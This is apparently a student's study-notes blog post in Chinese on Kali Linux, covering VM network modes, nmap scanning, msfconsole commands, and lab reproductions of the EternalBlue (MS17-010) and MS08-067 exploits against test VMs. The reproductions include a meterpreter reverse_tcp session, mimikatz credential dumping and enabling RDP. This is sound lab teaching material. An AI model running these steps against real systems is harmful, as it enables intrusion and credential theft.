云曦暑期学习第六周——kali

news2024/9/23 1:39:48

1.熟悉网络配置

一般来说虚拟机有三种网络模式:

  • NAT (网络地址转换模式)
  • Bridged (桥接模式)
  • Host-Only(主机模式)

nat模式:

虚拟系统会通过宿主机的网络来访问外网。而这里的宿主机相当于有两个网卡,一个是真实网卡,一个是虚拟网卡,真实网卡相当于链接了现实世界的真实路由器,而宿主机的虚拟网卡,相当于链接了一个可以认为是虚拟交换机(这个虚拟交换机同时链接了虚拟系统(linux)和宿主机)。

​ 当虚拟网络想访问外网,就必须通过宿主机的IP地址,而外面看来也确实是宿主机的IP地址(实则是虚拟机访问的!!),完全看不到虚拟网络局域的内部形式,而这个时候linux和宿主机和虚拟交换机形成一个网段,宿主机和真实路由形成一个网段。

Bridged模式

桥接网络是指物理网卡和虚拟网卡通过VMnet0虚拟交换机进行桥接。

此时VMnet0虚拟交换机相当于一台现实网络中的交换机,虚拟机相当于一台物理主机。他可以访问这个局域网内的所有的主机,但是需要手动来配置IP地址,子网掩码,并且他是和真实主机在同一个网段(nat是两个网段),这个模式里,虚拟机和宿主机可以互相ping通。

Host-Only模式

在Host-Only模式下,虚拟网络是一个全封闭的网络,它唯一能够访问的就是主机。

其实Host-Only网络和NAT网络很相似,不同的地方就是Host-Only网络没有NAT服务,所以虚拟网络不能连接到Internet。主机和虚拟机之间的通信是通过VMware Network Adepter VMnet1虚拟网卡来实现的。

​ Host-Only的宗旨就是建立一个与外界隔绝的内部网络,来提高内网的安全性。这个功能或许对普通用户来说没有多大意义,但大型服务商会常常利用这个功能。如果你想为VMnet1网段提供路由功能,那就需要使用RRAS,而不能使用XP或2000的ICS,因为ICS会把内网的IP地址改为192.168.0.1,但虚拟机是不会给VMnet1虚拟网卡分配这个地址的,那么主机和虚拟机之间就不能通信了。

2.nmap

2.1简要

nmap是用来探测计算机网络上的主机和服务的一种安全扫描器。为了绘制网络拓扑图,Nmap的发送特制的数据包到目标主机,然后对返回数据包进行分析。Nmap是一款枚举和测试网络的强大工具。

2.2功能

1.主机探测
2.端口扫描
3.版本检测
4.支持探测脚本的编写

2.3实例

发现主机

1.扫描指定IP地址(ping 扫描)

nmap  -sn 192.168.0.102

 2.扫描指定IP地址

 3.提取文件中的IP地址

 4.扫描整个网段/子网

(ip地址一共是32位,/24就表示他的网络号是24位。也就是说共有 2^(32-24)-2 个主机,共254个ip。因为主机为全0和1的保留不用,所以需要减2)

端口发现

1.扫描主机的指定端口

 2.使用TCP的SYN进行扫描(半开放扫描,只发送SYN,如果服务器回复SYN,ACK。证明端口开放,不建立完整连接

3.使用TCP进行扫描(默认nmap扫描方式)

4.使用UDP进行扫描(扫描UDP开放的端口)

5.使用FIN扫描

有的时候TCP SYN不是最佳的扫描默认,目标主机可能有IDS/IPS系统的存在,防火墙可能过滤掉SYN数据包。而发送一个

FIN标志的数据包不需要完成TCP的握手。

6.idle扫描(需要指定另外一台主机IP地址,并且目标主机的IPID是递增的)

idlescan是一种理想的扫描方式,它使用另一台网络上的主机替你发送数据包,从而隐藏自己。

nmap -sI  192.168.3.227 192.168.3.74

获得服务版本详细信息

nmap -sV 192.168.0.102

 确定主机操作系统

nmap -O 192.168.0.102 

3.msfconsole

msfconsole 简称 msf 是一款常用的安全测试工具,包含了常见的漏洞利用模块和生成各种木马,其提供了一个一体化的集中控制台,通过msfconsole,你可以访问和使用所有的metaslopit插件,payload,利用模块,post模块等等。msfconsole还有第三方程序的接口,比如nmap、sqlmap等,可以直接在msfconsole里面使用。
kali可直接在命令使用:

msfconsole

Msfconsole的系统文件和用户文件位于/usr/share/metasploit-framework/msfconsole目录下 

3.1基础命令概览:

back(返回): 从目前的情况下向后移动

banner:Display an awesome metasploit banner

cd: 改变当前的工作目录

color: 切换颜色

connect(远程连接): 与主机通信

edit(编辑): 编辑与$ VISUAL或$ EDITOR当前模块的

exit(退出命令行): 退出控制台

get (获取变量): 获取特定上下文变量的值

getg (全局获取变量): 获取一个全局变量的值

go_pro : 启动Metasploit的网页图形用户界面

grep: grep的另一个命令的输出

help(帮助) : 帮助菜单

info(获取模块信息): 关于一个或多个模块显示信息

irb: 进入irb脚本模式

jobs:显示和管理职位

kill(结束进程): 结束一个进程

load(加载): 加载一个框架插件

loadpath : 搜索和负载从一个路径模块

makerc: 保存自开始进入到一个文件中的命令

popm: 弹出最新的模块从堆栈中并使其活跃

previous : 将以前加载模块作为当前模块

pushm : 推主动或模块列表在模块栈

quit (退出控制台): 退出控制台

reload_all Reloads : 从所有定义的模块路径的所有模块

rename_job : 重命名工作

resource : 运行存储命令在文件

route: 通过会话路由流量

save: 将数据存储主动

search(搜索exp等模块关键字): 搜索模块的名称和说明

sessions(会话功能): 转储会话列表和显示有关会话的信息

set(设置参数): 设置一个特定的上下文变量的值

setg(全局设置参数): 设置一个全局变量的值

show(展示参数模块): 给定类型的显示模块或所有模块

sleep : 什么都不做对的指定秒数

spool : 写控制台输出到一个文件以及屏幕

threads : 查看和操作后台线程

unload(卸载某个插件): 卸载一个框架插件

unset(删除某个设置参数): 取消设置一个或多个特定的上下文变量

unsetg(取消全局某个设置参数): 取消设置一个或多个全局变量的

use(使用某个模块): 选择按名称模块

version(查看版本信息): 显示的框架和控制台库版本号

输入命令show,看到提示,那么根据提示我们就知道msf包含的模块:

3.2实例

show

输入命令show,看到提示,那么根据提示我们就知道msf包含的模块:

 show encoders:

使用方式-e 编码类型即可,这样可以根据不同需求得到我们需要的shellcode。

 

show nops

 除了编码模块,还有滑板指令模块,通过show nops展示:

滑板指令不会对程序运行状态有实质影响或者空操作之类的,就像0x90。滑板指令有多种作用,在漏洞利用中应用广泛:

• 填充,填充多余部分

• 延迟,nop指令会产生一定的延迟效果

• 等待,等待缓冲区清空,总线恢复

• 清除,清除上一个算数逻辑指令设置的flag位

• 破解,将部分关键指令用nop填充

使用方式use +即可
 

show auxiliary

 show auxiliary辅助模块,是一个功能特别多的模块,这里只简单介绍,他负责执行信息收集,扫描,嗅探,指纹识别,口令猜测和Dos攻击等功能:

 show post

 show post,这是一个后渗透模块,里面包含了后渗透会用到的功能,最多就是信息收集:

 banner
这个主要是查看metasploit的版本信息,利用模块数量、payload数量等等。

Search参数
当你使用msfconsole的时候,你会用到各种漏洞模块、各种插件等等。所以search命令就很重要。我会详细的解释一下这个命令。

当你输入help search的时候就会列出search命令的一些选项。

help search

(1)查 mysql

search name:mysql

(2)查 joomla

search joomla

(3)ms08-067查找漏洞

search ms08-067

 

4.永恒之蓝复现(Eternal Blue)

永恒之蓝是在 Windows 的SMB服务处理SMB v1请求时发生的漏洞,这个漏洞导致攻击者在目标系统上可以执行任意代码。通过永恒之蓝漏洞会扫描开放445文件共享端口的Windows机器,无需用户任何操作,只要开机上网,不法分子就能在电脑和服务器中植入勒索软件、远程控制木马、虚拟货币挖矿机等恶意程序。

4.1复现环境

kali使用ifconfig,win7使用ipconfig查看ip地址

攻击机:kali (192.168.75.128)
靶机:Windows 7 (192.168.75.129)

4.2复现过程

1.先看能不能ping通

2.使用nmap对靶机端口服务进行扫描,检测目标主机是否存活,以及445端口开放情况

 nmap -sV 192.168.75.129

 可以看到:目标主机存活(host is up),且445端口开放

3.打开Metasploit

msfconsole

4.输入永恒之蓝漏洞编号

永恒之蓝漏洞编号为ms17-010

search ms17-010

 可以看到返回了多条可利用的漏洞模块信息,永恒之蓝用到的是第3个和第0个。第3个是用来进行扫描的,扫描在这个网段里面哪一个主机是有这个漏洞的(scanner扫描器),第0个是永恒之蓝的攻击模块。

5.先使用第3个扫描器进行辅助扫描测试。

use auxiliary/scanner/smb/smb_ms17_010

 

6.查看该漏洞模块所需的参数情况

show options

 

结果展示:其中required下方显示的值为yes的,代表是必须要设置的项;显示的值为no的,代表是不必须要设置的项;

我们重点关注以下2个参数配置,哪个参数有问题就设置哪个:

RHOST(被攻击的目标地址-靶机地址);

RPORT(被攻击目标地址的端口-保证445端口开放)

7、设置靶机地址

由上图可知:只有RHOST未设置,其他参数均以自动获取,没有问题。所以我们只需设置靶机位置即可

set RHOST 192.168.75.129

8、进行检验

show options

9、发起攻击

run

 显示“Host is likely VULNERABLE to MS17-010”-该主机很容易受到ms17-010的攻击,可以断定靶机存在永恒之蓝漏洞。

10、再次查看永恒之蓝漏洞

search ms17-010 

11、进入0模块,进行攻击

use exploit/windows/smb/ms17_010_eternalblue

12、查看参数配置情况

show options

重点关注以下5个参数设置,哪个有问题就设置哪个

1.Payload(攻击载体) ;

2.RHOST(被攻击的目标地址-靶机ip);

3.RPORT(被攻击目标地址的端口-保证445开放);

4.LHOST(发起攻击的地址-kali的ip);

5.LPORT(发起攻击的端口-默认即可);


发现仅RHOST为空待设置,其它(payload/RPORT/LHOST/LPORT)均已获取且正确 

13、设置RHOST

set RHOST 192.168.75.129

14、再次检查

show options

15,发起攻击

run

 

显示meterpreter >表明攻击成功 两个电脑已经建立了一个会话连接

 Meterpreter 是 Metasploit 的一个扩展模块,可以调用 Metasploit 的一些功能,
对目标系统进行更深入的渗透,如获取屏幕、上传/下载文件、创建持久后门等。

16,进入靶机shell

shell

 若有乱码,输入chcp 65001即可

 这个时候我们已经成功了,可以远程命令执行,变成了windows的控制台的模式。

查看本地用户

net user 

永恒之蓝复现完毕

5.ms08-067漏洞复现

MicrosoftWindows是美国微软(Microsoft)公司发布的一系列操作系统。Windows的Server服务在处理特制RPC请求时存在缓冲区溢出漏洞。远程攻击者可以通过发送恶意的RPC请求触发这个溢出,导致完全入侵用户系统,以SYSTEM权限执行任意指令。对于Windows2000、XP和Server2003,无需认证便可以利用这个漏洞;对于WindowsVista和Server2008,可能需要进行认证。

5.1复现环境

未打补丁的xp:192.168.75.130
kali:192.168.75.128
两台主机之间可以通信

 

5.2复现过程

 1、扫描目标靶机,445端口是开放的

 2、启动msfconsole,搜索漏洞

search ms08_067

 
3.这里只有一个可用的exploit模块,use它。

4.show targets查看一下,该模块都适用于哪些windows版本。 

5.本次实验的主机是xp3 simplified。
这里将目标主机的类型设置。

set target 34

6. 看一下需要配置哪些参数show options

 7.设置一下rhosts

8.查看一下有哪些可用的payload;show payloads 

这里选择61号。set pyaload windows/meterpreter/reverse_tcp 

9.再看一下payload需要配置哪些参数show options

 

看到别人wp说需要配置lohostlport;配置监听地址和监听端口。监听端口有默认值,这里就只配置监听地址为kali的IP。

但这里都已经配置好了

10.run

成功了

可以开启一个内渗透模块:load mimikatz,

 用creds_all查看用户名和密码

开启远程桌面:run post/windows/manage/enable_rdp

复现完毕

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/908809.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

redis--------哨兵模式

1.哨兵模式 试想一下,如果主从模式中,大半夜主节点挂了,运维从床上迷迷糊糊爬起来,打开电脑,手动升级处理,怕不是第二天就要上头条了。 哨兵模式的出现用于解决主从模式中无法自动升级主节点的问题&#xf…

javeee eclipse项目导入idea中

步骤一 复制项目到idea工作空间 步骤二 在idea中导入项目 步骤三 配置classes目录 步骤四 配置lib目录 步骤五 添加tomcat依赖 步骤六 添加artifacts 步骤七 部署到tomcat

软件开发bug问题跟踪与管理

一、Redmine 项目管理和缺陷跟踪工具 官网:https://www.redmine.org/ Redmine 是一个开源的、基于 Web 的项目管理和缺陷跟踪工具。它用日历和甘特图辅助项目及进度可视化显示,同时它又支持多项目管理。Redmine 是一个自由开源软件解决方案,…

【新版】系统架构设计师 - 系统测试与维护

个人总结,仅供参考,欢迎加好友一起讨论 文章目录 架构 - 系统测试与维护考点摘要软件测试软件测试 - 测试类型软件测试 - 静态测试软件测试 - 动态测试软件测试 - 测试阶段软件测试 - 测试阶段 - 单元测试软件测试 - 测试阶段 - 集成测试软件测试 - 测试…

我的创作纪念日(C++修仙练气期总结)

分享自己最喜欢的一首歌:空想フォレスト—伊東歌詞太郎 机缘 现在想想自己在CSDN创作的原因,一开始其实就是想着拿着博客当做自己的学习笔记,笔记嘛,随便写写,自己看得懂就ok了的态度凸(艹皿艹 )。也是用来作为自己学习…

2023年大数据与区块链国际会议 | EI、Scoups检索

会议简介 Brief Introduction 2023年大数据与区块链国际会议(ICBDB 2023) 会议时间:2023年11月17 -19日 召开地点:中国西安 大会官网:www.icobdb.org 2023年大数据与区块链国际会议(ICBDB 2023)…

基于swing的超市管理系统java仓库库存进销存jsp源代码mysql

本项目为前几天收费帮学妹做的一个项目,Java EE JSP项目,在工作环境中基本使用不到,但是很多学校把这个当作编程入门的项目来做,故分享出本项目供初学者参考。 一、项目描述 基于swing的超市管理系统 系统有3权限:管…

Nginx代理转发地址不正确问题

使用ngix前缀去代理转发一个地址,貌似成功了,但是进不到正确的页面,能够访问,但是一直404远处出来nginx会自动拼接地址在后面 后面才知道要将这段代码加上去,去除前缀转发

指针(一)【C语言进阶版】

大家好,我是深鱼~ 【前言】: 指针的主题,在初阶指针章节已经接触过了,我们知道了指针的概念: 1.指针就是个变量,用来存放地址,地址的唯一标识一块内存空间(指针变量)&a…

8月16日上课内容 第二章 部署LVS-DR群集

本章结构: 数据包流向分析: 数据包流向分析: (1)客户端发送请求到 Director Server(负载均衡器),请求的数据报文(源 IP 是 CIP,目标 IP 是 VIP)到达内核空间。 &#xf…

SCConv:用于特征冗余的空间和通道重构卷积

文章目录 摘要1、简介2、方法2.1、SRU用于空间冗余2.2. CRU用于通道冗余2.3、复杂性分析 3、实验3.1、实验设置3.3、基于CIFAR的图像分类3.4、基于ImageNet的图像分类3.5、物体检测 4、结论 摘要 代码链接:https://github.com/cheng-haha/ScConv 论文链接&#xff…

损失函数,基于概率分布度量的损失函数,信息量,信息熵的作用

目录 损失函数中为什么要用Log:概率损失函数-乘法转加法-便于求偏导 信息量,信息熵的作用 信息的作用是消除不确定性:信息量是0,事件确定 回答只是Y,N,因此对数底数为2​编辑 一句话描述的事件发生的概率越低&#…

chatGPT-对话柏拉图

引言: 古希腊哲学家柏拉图,在他的众多著作中,尤以《理想国》为人所熟知。在这部杰作中,他勾勒了一个理想的政治制度,提出了各种政体,并阐述了他对于公正、智慧以及政治稳定的哲学观点。然而,其…

[ubuntu]ubuntu安装vncserver后,windows连接灰屏解决方法

修改配置文件~/.vnc/xstartup为如下内容: #!/bin/bash export $(dbus-launch) export XKL_XMODMAP_DISABLE1 unset SESSION_MANAGERgnome-panel & gnome-settings-daemon & metacity & nautilus & gnome-terminal &# [ -x /etc/vnc/xstartup…

嵌入式C语言基本操作方法之经典

C语言一经出现就以其功能丰富、表达能力强、灵活方便、应用面广等特点迅速在全世界普及和推广。 C语言不但执行效率高而且可移植性好,可以用来开发应用软件、驱动、操作系统等。 C语言也是其它众多高级语言的鼻祖语言,所以说学习C语言是进入编程世界的必…

(嵌入式c语言)c语言编译常见错误

c语言->机器码的过程: 预处理(gcc -E -o)->编译(gcc -S -o)->汇编(gcc -c -o)->链接(gcc -o) 预处理 将代码中的define 和 include替换成实体码 define和…

电信不提供公网IP怎么解决?快解析内网穿透解决方案

由于现在电信运营商的政策调整,加上受到网络服务架构的影响,一些用户在使用宽带连接时,往往会遇到电信不提供公网IP的情况。这种情况下,我们可能会受到一些限制,特别是对于需要对外提供服务或进行远程访问的场景而言&a…

TCP拥塞控制详解 | 4. 控制算法

网络传输问题本质上是对网络资源的共享和复用问题,因此拥塞控制是网络工程领域的核心问题之一,并且随着互联网和数据中心流量的爆炸式增长,相关算法和机制出现了很多创新,本系列是免费电子书《TCP Congestion Control: A Systems …